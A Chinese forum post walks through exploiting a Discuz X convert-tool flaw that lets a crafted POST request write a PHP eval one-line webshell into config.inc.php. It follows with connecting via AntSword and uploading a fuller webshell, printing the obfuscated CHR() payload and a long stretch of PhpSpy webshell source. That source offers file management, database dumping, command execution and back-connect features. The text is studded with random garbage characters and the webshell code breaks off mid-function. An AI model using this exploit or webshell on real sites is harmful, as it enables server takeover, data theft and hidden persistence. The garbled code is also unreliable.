找回密码
 立即注册
搜索
查看: 7771|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

991

主题

92

回帖

5万

积分

管理员

积分
55422
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:5 o0 k) Q: Z4 Q  S* Q
想要拿下一台主机A的权限:! d. x2 Y( T( X- b
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞9 Z7 ^7 W. O: x$ V
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
) \7 Z4 T- t  V6 {3、传上去后,得到apache用户普通权限,再提权成root! Y9 Q  B* ], b0 U' K
概述:
4 o; @6 m  F9 ]" ?这突破在一个DZ X系列自带的转换工具里面。
- B, t. u8 c1 e8 ~1 J: }+ `! M漏洞路径:utility / convert / data / config.inc.php
# q1 S/ _; G) |  e* m9 K漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。5 ^. ^6 ?* F. o$ R) [  p4 Q
触发突破过程:( _" w8 {- t# J3 |) z/ j0 O4 I9 t
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
, ]9 y2 _0 k; O) C9 K$ a4 r8 F' c" |, a2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序6 O; c! K* n! A  {
攻击过程:" ~/ z+ q! Y: |/ T" [/ ?2 K5 L/ L
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/3 H; V" w$ ~; Y# A1 W2 c! ^/ G
" l  |. t, R) \# l* [
8 [  {* a' E. y/ m: Y
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
4 g9 X& d. p. E( k3 K" S! o4 _8 n9 E' X4 F/ M' _
8、通过中国蚁剑上传大码. e. {1 K- \/ j

) |1 }& b+ E6 U( o; z
7 o+ x% O1 ~( G* ~2 [- d: D5 K10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php% e& n# P9 b3 U$ B/ ~
  2. ( x$ L) i/ y; k" [- w8 g8 ^) V+ o
  3. /*****************************************************************************4 l" t  a, x. h( T

  4. - z2 h. d6 Q9 A' A9 l! Z5 L
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================0 N0 e" C0 o4 E, j; u& p

  6. ) Q4 R' L9 e5 s$ a- F
  7. ====1 X  K0 E4 Z8 H
  8. ; t& ~* n) x  r& ~
  9. ' V2 @& u; g& g; v, @
  10. *****************************************************************************/- l; E$ b( }, m
  11.   ?1 Q' P, q! R# h3 X/ R. b
  12. error_reporting(7);- c, P. v% A2 D
  13. @set_magic_quotes_runtime(0);
    7 p4 n2 h0 m% C  K( n
  14. ob_start();$ D# ~% Z/ J+ @# D- `: p
  15. $mtime = explode(' ', microtime());
    ' Z! Y+ h; \5 _% ]$ K* d: x5 E
  16. $starttime = $mtime[1] + $mtime[0];$ ?# L" ?0 r0 V6 {
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');, v( p2 U$ ^, v; @) @" @6 y) }9 D
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );" Z  B& N* d* z" {. d
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    0 P3 x0 u! M" j; N
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );+ L0 P. L- O$ R. g
  21. define('IS_GPC', get_magic_quotes_gpc());
    ) g6 y0 k* I  H. _6 U! ]
  22. $dis_func = get_cfg_var('disable_functions');
    ! r7 S, o2 |3 Z" j
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    2 l2 m1 J; j/ F" A/ `
  24. @set_time_limit(0);) _' \3 n3 r* I/ y, b+ J

  25. * t, a% M1 w0 ~( n
  26. foreach(array('_GET','_POST') as $_request) {% a. m* d  b( J
  27.         foreach($$_request as $_key => $_value) {
    / @. A% a* j, m" ]# F
  28.                 if ($_key{0} != '_') {4 K4 H1 e# g' h6 K
  29.                         if (IS_GPC) {
    * Y! K7 Y, W9 w) S; r, n' U+ |
  30.                                 $_value = s_array($_value);
    ' x) M0 b) q/ }1 s; v
  31.                         }  ~/ D" z  X3 @
  32.                         $$_key = $_value;
    , M. _. J& F3 c! E
  33.                 }4 X( N7 g- K8 B5 F$ _0 t' j
  34.         }* H0 P& |8 X$ ^# @! N1 X
  35. }
      y' }+ |( h- T" P

  36. 1 J' B1 u& @& T* t; C6 x0 ?4 Q
  37. /*===================== 程序配置 =====================*/
    ( f* e/ \  w$ u! I
  38. $admin = array();
    - ~* w" a* j( _. m! A/ G
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效( r/ Y4 ~! ]8 n  ]9 s7 D2 M
  40. $admin['check'] = true;
    ) c1 B( B3 u9 [5 P6 T+ x
  41. // 如果需要密码验证,请修改登陆密码
    ' t$ `1 M0 ^9 [: _7 F( \# ~( J* P
  42. $admin['pass']  = 'xuegod';
    3 o$ y# g( A. o/ E6 V
  43. . u& N3 ]/ S1 G. m2 q: r5 H) b$ G  z2 W
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    2 x" X$ d3 G% u3 w8 g' q3 P
  45. // cookie 前缀
    4 y$ W8 T6 d5 @" m' m% f! ~
  46. $admin['cookiepre'] = '';- d3 Q  x$ z7 `7 k) Y
  47. // cookie 作用域
    4 d  A  j" W8 e7 R/ A2 }% W
  48. $admin['cookiedomain'] = '';
    7 Y1 }! ]3 M. _, F! |$ X+ U
  49. // cookie 作用路径0 C6 h8 ?# X# j% Q0 U% |8 l7 v
  50. $admin['cookiepath'] = '/';- ~+ \) j; O" ^$ U$ G
  51. // cookie 有效期
    & W* G/ ?& \8 X0 ~8 n
  52. $admin['cookielife'] = 86400;
    , w7 X) D: |+ \- P% a8 V6 E& J
  53. /*===================== 配置结束 =====================*/
    % F5 ~) c& C6 `8 O0 S" c8 N9 L
  54. 3 ~& G9 t6 b9 B  v0 j5 t8 A7 ^
  55. if ($charset == 'utf8') {+ M: ^( n5 Q0 k7 V) k5 {7 Y- _/ V) ?
  56.         header("content-Type: text/html; charset=utf-8");% m" H; T0 l$ A- |3 M: {% S' K3 e, N
  57. } elseif ($charset == 'big5') {
    & I! A" n) X+ ~! {6 K
  58.         header("content-Type: text/html; charset=big5");
    5 H4 ?+ q0 o8 p3 e4 `9 |
  59. } elseif ($charset == 'gbk') {
    ! v/ g/ i: q" B$ O$ O- r5 D
  60.         header("content-Type: text/html; charset=gbk");% A: N2 O2 V* b+ G4 m3 k
  61. } elseif ($charset == 'latin1') {/ @' V( h5 ~* {& E  K  c
  62.         header("content-Type: text/html; charset=iso-8859-2");* g7 J0 C/ y3 L4 A+ }/ {
  63. }6 x$ ^; c7 Q' j: j9 ^5 R0 n

  64. / J# D# k; E* A' y. Z% L" [+ k
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    % T+ ^! a' v  Z- Z
  66. $timestamp = time();
    , j: V& z- _" j) @
  67. 7 e) E4 n8 k4 k) y. r
  68. /*===================== 身份验证 =====================*/
    4 e  P6 f3 v) g
  69. if ($action == "logout") {# E8 W# q+ i+ M; ^! d8 y6 I* s5 }
  70.         scookie('phpspypass', '', -86400 * 365);" |' _3 J! S( Z2 U! L; X; q
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');% U9 ~9 J# x# D0 k( \$ E
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    * S: K6 q' w  L$ A* g' d
  73.         exit;2 K/ E/ L$ A1 z: A' Y" _, l/ J
  74. }
    ! m/ s3 E: }3 C& U/ w
  75. if($admin['check']) {
    6 x% }* u7 u- E9 j& s
  76.         if ($doing == 'login') {7 Q% g- x' ?  \' [  C* j$ ]
  77.                 if ($admin['pass'] == $password) {: M' p5 G* H& K, H, {
  78.                         scookie('phpspypass', $password);
    7 J$ c$ E7 {9 \; D: ]; ~9 J) J
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');3 X! C$ N6 v# K3 B+ d3 z  R6 L
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');1 f* g/ b9 m0 k4 D2 A2 b
  81.                         exit;
    7 P; h# N7 S1 h3 k* U: t# P
  82.                 }$ R3 z# S& {6 w
  83.         }
    ( R* g7 C5 k' ?6 X
  84.         if ($_COOKIE['phpspypass']) {; _2 j* X5 Q) q9 Y1 E! P" U
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    3 g5 L, Y, r7 r9 u% b
  86.                         loginpage();) n; L( O( @5 C2 b' |. _# T
  87.                 }9 i% J2 Y4 H! ?2 K& i" q
  88.         } else {
    & Y) U- i$ I( U  ~" f* W% o4 l" t- D: ~
  89.                 loginpage();& a5 ^8 p( h+ c
  90.         }
    % L' A5 [1 j' g' e
  91. }
      ~; G' @$ l4 l+ e8 z. z. p" K
  92. /*===================== 验证结束 =====================*/
    3 X& e- V9 s( l' i# W0 L2 m6 x
  93.   S; W! F, {& W2 }2 x$ L3 l2 @: i
  94. $errmsg = '';
    : r6 `. @9 Y* W# R

  95. % ]$ K+ y7 ]3 C5 y
  96. // 查看PHPINFO5 ?, k2 O. w1 ]9 H3 v! M. V( d
  97. if ($action == 'phpinfo') {
    ; O! G4 x, }. x( f& J6 U: t0 K
  98.         if (IS_PHPINFO) {
    & L( _3 S+ r8 i; \( v
  99.                 phpinfo();+ v8 D1 L2 r6 ]  ?8 a  k& l
  100.         } else {; \" ]) p" M! S) k; x! ]
  101.                 $errmsg = 'phpinfo() function has non-permissible';5 X" O, w- Q' p8 X# U
  102.         }
    % K0 g5 A. \- f1 ~( b' q
  103. }/ z6 M$ U$ E. N% s- f
  104. % v) z8 |; b  k: {
  105. // 下载文件
      v' C9 q# w9 h" T7 a3 e% W- k
  106. if ($doing == 'downfile' && $thefile) {
    ( I/ I6 n) p" h5 B8 b
  107.         if (!@file_exists($thefile)) {# \3 d0 G7 i8 y( G2 C! c
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';3 ^( t  s0 W9 b  g4 q3 p" c+ o2 d
  109.         } else {( L1 R# Q3 ~; E, J' j
  110.                 $fileinfo = pathinfo($thefile);: k# `5 m( u1 z5 k! M
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);9 i$ K* E- h3 O
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);5 C% _4 D. h6 i
  113.                 header('Content-Length: '.filesize($thefile));
    * T  t& ?9 v# {  _9 X  F8 ^9 a$ x' P
  114.                 @readfile($thefile);, n6 X! s0 v( a7 r/ D' @  y! i
  115.                 exit;; u8 {# z! I5 A( {% q& {" f
  116.         }
    ( @+ Q; z; D$ S+ d
  117. }/ |/ m7 D8 y) h* G2 A2 ~+ S( m
  118. - P% T  p( d( R4 F; M
  119. // 直接下载备份数据库$ u* k) p# S5 f# I  ~1 `- r) L+ [% z
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    * m/ c7 K) a* W! \
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);) I1 g9 U+ S1 @! Q' [0 h
  122.         $table = array_flip($table);
    8 O9 k+ p0 N3 p% U: S) C4 W" w
  123.         $result = q("SHOW tables");* {/ I* u! Z& a7 L- K9 A
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');1 Y' H5 x  s; \9 c+ m+ Z' A3 F
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    # H2 f1 x! G* P: P
  126.         header('Content-type: application/unknown');
    " j0 z2 k- Y0 K' h( U
  127.         header('Content-Disposition: attachment; filename='.$filename);
    3 L! K1 w) ?$ K/ Q; c" s
  128.         $mysqldata = '';  h6 O' F, q* U4 U( M+ Q. r
  129.         while ($currow = mysql_fetch_array($result)) {/ X& z- q1 @  j6 D: [
  130.                 if (isset($table[$currow[0]])) {
    $ P5 E. |: ]: D1 m. f
  131.                         $mysqldata .= sqldumptable($currow[0]);
    ) \, a( f! q0 y) U
  132.                 }
    : C' l. H3 g; J; v
  133.         }
    . l. N0 ?9 M& S) m' O) T
  134.         mysql_close();) g4 k1 o0 H6 d- e, T1 ^
  135.         exit;
    ; G( R: b- I  d/ K. p$ g
  136. }
    8 K1 ?$ V' I1 N. _* }

  137. 0 z1 D) i+ h9 p6 q
  138. // 通过MYSQL下载文件7 q! E. x& s4 D2 j9 _* e3 l( M
  139. if($doing=='mysqldown'){
    # M& n4 g$ P5 Q6 q( q
  140.         if (!$dbname) {
    / o8 e# `8 t2 G9 l4 o1 I" A
  141.                 $errmsg = 'Please input dbname';, |6 I! J: ^: @" p8 t( W9 E3 c+ M
  142.         } else {
    9 e; x: [4 c, {/ E. A
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);, b* f( }6 r" K4 Z+ Z
  144.                 if (!file_exists($mysqldlfile)) {, ~/ o" g4 V7 O+ a( _
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    % I& I  w% ]5 m
  146.                 } else {1 H  A' t' y  T
  147.                         $result = q("select load_file('$mysqldlfile');");
    8 c( A0 ?4 j- s# D
  148.                         if(!$result){' w5 @- _6 E0 ]2 E2 p% X, O$ N  s
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");9 h; D2 u3 }' R* ?
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");% n! W8 E; Z! G/ k8 T- C' J0 q% t
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    2 ^% d. k0 ^4 N# L$ O( ]$ T% c5 l
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    6 H" {% O' U; P5 n
  153.                                 $result = q("select content from tmp_angel");' E, A% F% L; B6 T% W7 D0 l
  154.                                 q("DROP TABLE tmp_angel");- c; k5 u; Y* o1 [8 t5 `- r
  155.                         }
    ' p2 G: x+ k0 T
  156.                         $row = @mysql_fetch_array($result);
    9 A5 D( H/ }- a
  157.                         if (!$row) {" H! @3 h* \5 S$ F8 Q- R
  158.                                 $errmsg = 'Load file failed '.mysql_error();, h. U( {' S, w1 z0 l# u
  159.                         } else {
    , D4 l( q3 @5 ?' P! z' G
  160.                                 $fileinfo = pathinfo($mysqldlfile);0 h4 p4 ^" W( g* i& R' a; H; ^
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
    # y3 b5 Y0 Y$ [5 b- c0 a+ V
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    5 w. \( Q0 S% m- u' L
  163.                                 header("Accept-Length: ".strlen($row[0]));7 B( W+ G5 l2 T; J+ Q+ U# A
  164.                                 echo $row[0];
    9 y2 v" R$ u* q8 |; i% M$ B# f) s
  165.                                 exit;* Q1 A& ?3 w& J: m$ X
  166.                         }6 U% }1 y; ^5 _. m
  167.                 }
    1 V, v) _( _% U0 u1 s+ U  _
  168.         }
    # V  X+ `! c7 \" c7 W
  169. }& G* e/ b3 A, u* F" H: ^$ m
  170. 1 O* L5 E9 @  h5 s7 e0 E
  171. ?>( T6 [/ X9 \% O  H, W
  172. <html>$ b2 d( Q- s: w4 \7 @4 ?7 T/ E
  173. <head>
    , H$ p, s  ~& B( A  |; f: p5 {
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
    1 n* U9 D% |  t0 }
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>* l0 p$ n! x! _+ ]9 H
  176. <style type="text/css">
    $ g4 {( y, [! \4 P
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
    9 f! W( W7 l$ x1 A! q  Y" C
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
    ! V; D. x( z1 T) _9 X
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}& q" ^) T5 q& Z# R/ i/ Y! g' y2 T
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    - |+ K- e$ I/ E2 M( T) ?- V9 f8 O
  181. a {color: #00f;text-decoration:underline;}
      w! r' G: v9 W' V; p
  182. a:hover{color: #f00;text-decoration:none;}, l& t! s+ y* T* L1 d
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}- k. {6 I; k- E
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    1 Y* U1 D- L# x' A1 H
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
    4 |8 j8 z$ ^$ T, H* k# p# F# g2 Z. C
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    ! ^- m* K9 r5 v9 G$ E0 B
  187. .head td span{font-weight:normal;}
    # V5 v4 C' l& h  g2 `# p( Y
  188. form{margin:0;padding:0;}
    - I$ J9 N) b2 k+ \* c; _
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}; L" n) ]1 N: v7 a% v
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}) k: X( e3 `- r# `" t" c
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
    ) }' g8 i" o9 L- H3 Q. u; J
  192. </style>" A) q9 h2 v6 L# y' F* m/ ?4 T
  193. <script type="text/javascript">
    : _& u/ g6 I3 j8 p
  194. function CheckAll(form) {
    ) X. B3 X, j/ u  Q+ P& ?* ?
  195.         for(var i=0;i<form.elements.length;i++) {( S6 P. Y' t* b- M" j
  196.                 var e = form.elements[i];- S/ u  j  c! g$ P0 ~: m8 ?
  197.                 if (e.name != 'chkall')* V: K) X" t& K, G+ l, f
  198.                 e.checked = form.chkall.checked;
    * J  `' x3 Z/ b2 P' f
  199.     }& F, A4 ~; I! B- w7 x
  200. }  d8 n" s! w# O; n: Z/ b$ r
  201. function $(id) {
    3 f  m( M4 U3 O" ?" }# s
  202.         return document.getElementById(id);
    $ V& K  i, w' t- H- w0 K& {
  203. }( `1 q0 W' \$ p5 H0 J
  204. function goaction(act){5 I& z7 Z) g& h+ O! @
  205.         $('goaction').action.value=act;0 A* [8 u' H- n- x
  206.         $('goaction').submit();. {# x# c; P+ o' H* L
  207. }
      s2 g% L7 I1 {' P" z
  208. </script>
    . a/ Q# ~, }/ g: P6 q5 m
  209. </head>. ~% q1 `8 j7 q% P8 _+ ]( K
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    7 V# N- |0 z8 p6 R2 f
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">. u* |9 D0 s2 s; |
  212.         <tr class="head">4 m7 e: C# j1 W4 p
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
    * n! w: h' }$ h# F7 f1 q
  214.         </tr>
    ; d; b- m$ ]1 `" v0 i4 S
  215.         <tr class="alt1">$ E) Y# O: s: E1 O+ F3 k0 R
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
    ( v! c/ m3 |! K' ~6 Z
  217.                         <a href="javascript:goaction('logout');">Logout</a> | 3 {4 |$ h3 w  D& ?3 J6 o+ k1 t6 P
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    % n, X9 k# [& _# D: L+ F) U
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    3 L# D4 C" z/ T* c6 R+ \
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    . F/ H: H$ T2 V# O% H
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    " h8 F, V* b% \+ z* u1 s/ r* z
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    ! B5 y; y  O& m. g' h$ l$ Y
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>* g+ @& @9 b9 P" ^" r3 p, ?
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    * J- W' c) W2 S* @
  225.                 </td>, ~: ~. T$ Y7 d5 Z! c: M- I7 L2 [
  226.         </tr>
    7 O# M" i* D9 E( H. Y$ {* m
  227. </table>
    ; a5 m4 l% v" k+ I% @5 |
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
      I4 I& r8 q) a' |/ k8 v/ W- |4 b
  229. <?php6 w- i# X; i& q. h
  230.   X% j! D2 \1 F% O5 n% R: M
  231. formhead(array('name'=>'goaction'));
      v" r6 Y- V5 ]" A$ d1 t: R
  232. makehide('action');
    6 v- X" m5 e" n; |9 b9 E
  233. formfoot();+ {+ v$ G0 A+ V, S  A
  234. 1 \# D0 X. J  s/ V
  235. $errmsg && m($errmsg);: r- R: y2 w( x5 c9 s, _4 f  d  |, \) |
  236. $ t7 H, u4 d# y4 c. a
  237. // 获取当前路径+ R" @4 t) N/ n
  238. !$dir && $dir = '.';
    ; w% c5 o! U9 }
  239. $nowpath = getPath(SA_ROOT, $dir);) ^( R9 Z8 g" U/ P, a
  240. if (substr($dir, -1) != '/') {4 n# \4 W+ d2 F+ @! c1 e/ G/ K3 X3 r* B
  241.         $dir = $dir.'/';6 V8 c( ?) j: T4 b0 [
  242. }: K8 I. i, y  c, b# w
  243. $uedir = ue($dir);3 A8 w! ^8 Z4 W- K2 J- H* x
  244. 9 }% P; j( A2 W+ m1 z0 C+ Q5 P2 ?! ?  w9 K
  245. if (!$action || $action == 'file') {
    4 m* o: c% T0 t6 C. ?

  246. 8 _2 [6 |+ ^; T7 N$ W5 B
  247.         // 判断读写情况( L1 p, Y- Q: f  l/ _
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    7 a& m+ |. e! L  w
  249. . B- Z% y% F9 N/ x; {& q" W
  250.         // 删除目录% {2 r4 X: Y, P8 O- U0 q  x# F
  251.         if ($doing == 'deldir' && $thefile) {
    ) Y6 q% i6 H7 R( ^0 r4 |; n* l
  252.                 if (!file_exists($thefile)) {
    0 L! |  I2 q& Z* t% }9 X. y
  253.                         m($thefile.' directory does not exist');
    % A, ^# P7 R6 o9 i" i; L
  254.                 } else {
    % Y1 O1 R6 ?3 c7 z% Z6 T" @
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));" c1 c/ l4 G& v$ V( t- G7 ~+ Z
  256.                 }
    # \. d( Q' X, N5 R7 q' O' E" H  D
  257.         }3 i# o, o2 u7 U# `; P7 H1 v
  258. 3 `4 y0 ]  F' }7 I* h
  259.         // 创建目录
    / A. B: M7 B4 l+ H, [+ @
  260.         elseif ($newdirname) {
    $ D5 t7 N! c7 N0 P
  261.                 $mkdirs = $nowpath.$newdirname;3 W& f% M) @( d) t
  262.                 if (file_exists($mkdirs)) {
    " k7 f" g8 ?" C8 }
  263.                         m('Directory has already existed');. o9 L3 ?  L: D  e% c
  264.                 } else {4 C' ^$ J5 Y: T9 z( z
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    ' I+ k/ _+ B2 ^/ w. ?
  266.                         @chmod($mkdirs,0777);
    ( R2 G# l. ^- ]8 D7 B
  267.                 }9 y- e5 h( z) F: v
  268.         }
    7 s# @1 N/ a6 a6 Z1 ~8 @( n7 T

  269.   v/ O  Q/ G0 _- R
  270.         // 上传文件
    - \& v8 o& j" ^% U, V& f' I* K$ ^
  271.         elseif ($doupfile) {
    6 v3 j/ t! F, E' I* F8 x0 C: G6 j
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
    9 K7 t# Q2 x' p8 G4 G
  273.         }
    + K' a; a- p7 S+ u

  274. ) Q3 Z# i5 `4 x8 K: ^
  275.         // 编辑文件3 I$ K6 L- z/ o' W+ _6 q5 y% Y
  276.         elseif ($editfilename && $filecontent) {
    0 H2 A4 S6 |7 P( a
  277.                 $fp = @fopen($editfilename,'w');
    & o* O" C. h$ U6 ~# {
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    5 Q: J/ C1 j, U" K" y9 [$ R
  279.                 @fclose($fp);" V$ [- Z" h3 z5 `
  280.         }6 x# M4 S7 L: z' N6 R# B3 w
  281. 6 w3 j1 x( x1 G
  282.         // 编辑文件属性+ ~2 t, S0 Z) v3 u6 f6 G9 W9 [
  283.         elseif ($pfile && $newperm) {
    6 m  Y: v& l2 ^: M4 X  o
  284.                 if (!file_exists($pfile)) {; q% `2 a* y+ {$ @- P1 s( ?8 }& J4 L
  285.                         m('The original file does not exist');
    9 \/ O; B, z% |2 }7 j, }% i
  286.                 } else {/ E$ P3 a0 y, D! w
  287.                         $newperm = base_convert($newperm,8,10);2 U4 I% K0 v: W9 w! e, o
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    * n! h" M! |: h" H
  289.                 }
    5 }" I1 `2 G3 M
  290.         }* K4 \) ]9 h* \/ N3 L' F2 A
  291. # a" h8 E1 Z: ?7 U& e5 O; y
  292.         // 改名" P5 {) B" v3 f, g. _! v2 r
  293.         elseif ($oldname && $newfilename) {
      H6 n' P0 e1 g: [
  294.                 $nname = $nowpath.$newfilename;+ l1 n4 k/ [: ^/ H) X1 L: ^1 m
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    + a- v+ _- d! u' c5 @
  296.                         m($nname.' has already existed or original file does not exist');
    ; E) @/ ?' i: L# ~
  297.                 } else {
    # l' B' I4 R: j* t/ N
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));5 z+ U. o; A+ d* J3 @
  299.                 }" N$ B* }+ Y9 n0 O7 O6 Q7 c
  300.         }  T  i- s4 ^( R9 r* P. r

  301. # Z4 k6 O% }" M4 G
  302.         // 复制文件
    ! ~# x! p' r7 U0 F' x
  303.         elseif ($sname && $tofile) {
    . m7 o$ P$ ]' m6 T% ^
  304.                 if (file_exists($tofile) || !file_exists($sname)) {4 \2 R( u' r9 k  E) j; y) H+ d7 X
  305.                         m('The goal file has already existed or original file does not exist');' D. |) ]: f& _4 \" N8 o
  306.                 } else {
    8 r) I& V. b3 c7 e- k
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    ! j# C  V+ }# L7 s  X
  308.                 }
    # F1 ]' n( H# |
  309.         }( {1 i+ H' d/ Z8 |9 x

  310. + X2 k$ c! ~8 g
  311.         // 克隆时间
    5 U* |1 i9 j7 q/ I% d# v8 n* Z
  312.         elseif ($curfile && $tarfile) {/ O1 P, \( i+ {% ?! O4 H: u, X1 _0 P
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {9 X! M  ]: e3 I& X6 e0 [* M
  314.                         m('The goal file has already existed or original file does not exist');. R" c4 ]* F& c/ b4 j
  315.                 } else {
    & b2 K8 D4 Y% `) i  I
  316.                         $time = @filemtime($tarfile);3 A  K' P2 d9 N$ k6 {1 v
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    " N; ~, U4 F7 N1 D# {
  318.                 }, ~! i% Y8 q! e' G5 B
  319.         }  C% v  B5 S! D& A+ a0 Q1 a

  320. " {1 `+ v1 b! a6 Y+ u  F
  321.         // 自定义时间* @' x9 R: Q8 A& y, }+ w
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {% w" h  O9 W$ ?: C5 t, q
  323.                 if (!@file_exists($curfile)) {2 M8 j" @, l1 p3 s; h
  324.                         m(basename($curfile).' does not exist');9 u& a7 d4 R+ Z: [
  325.                 } else {' M, A2 V( x+ F8 w* N" y4 l
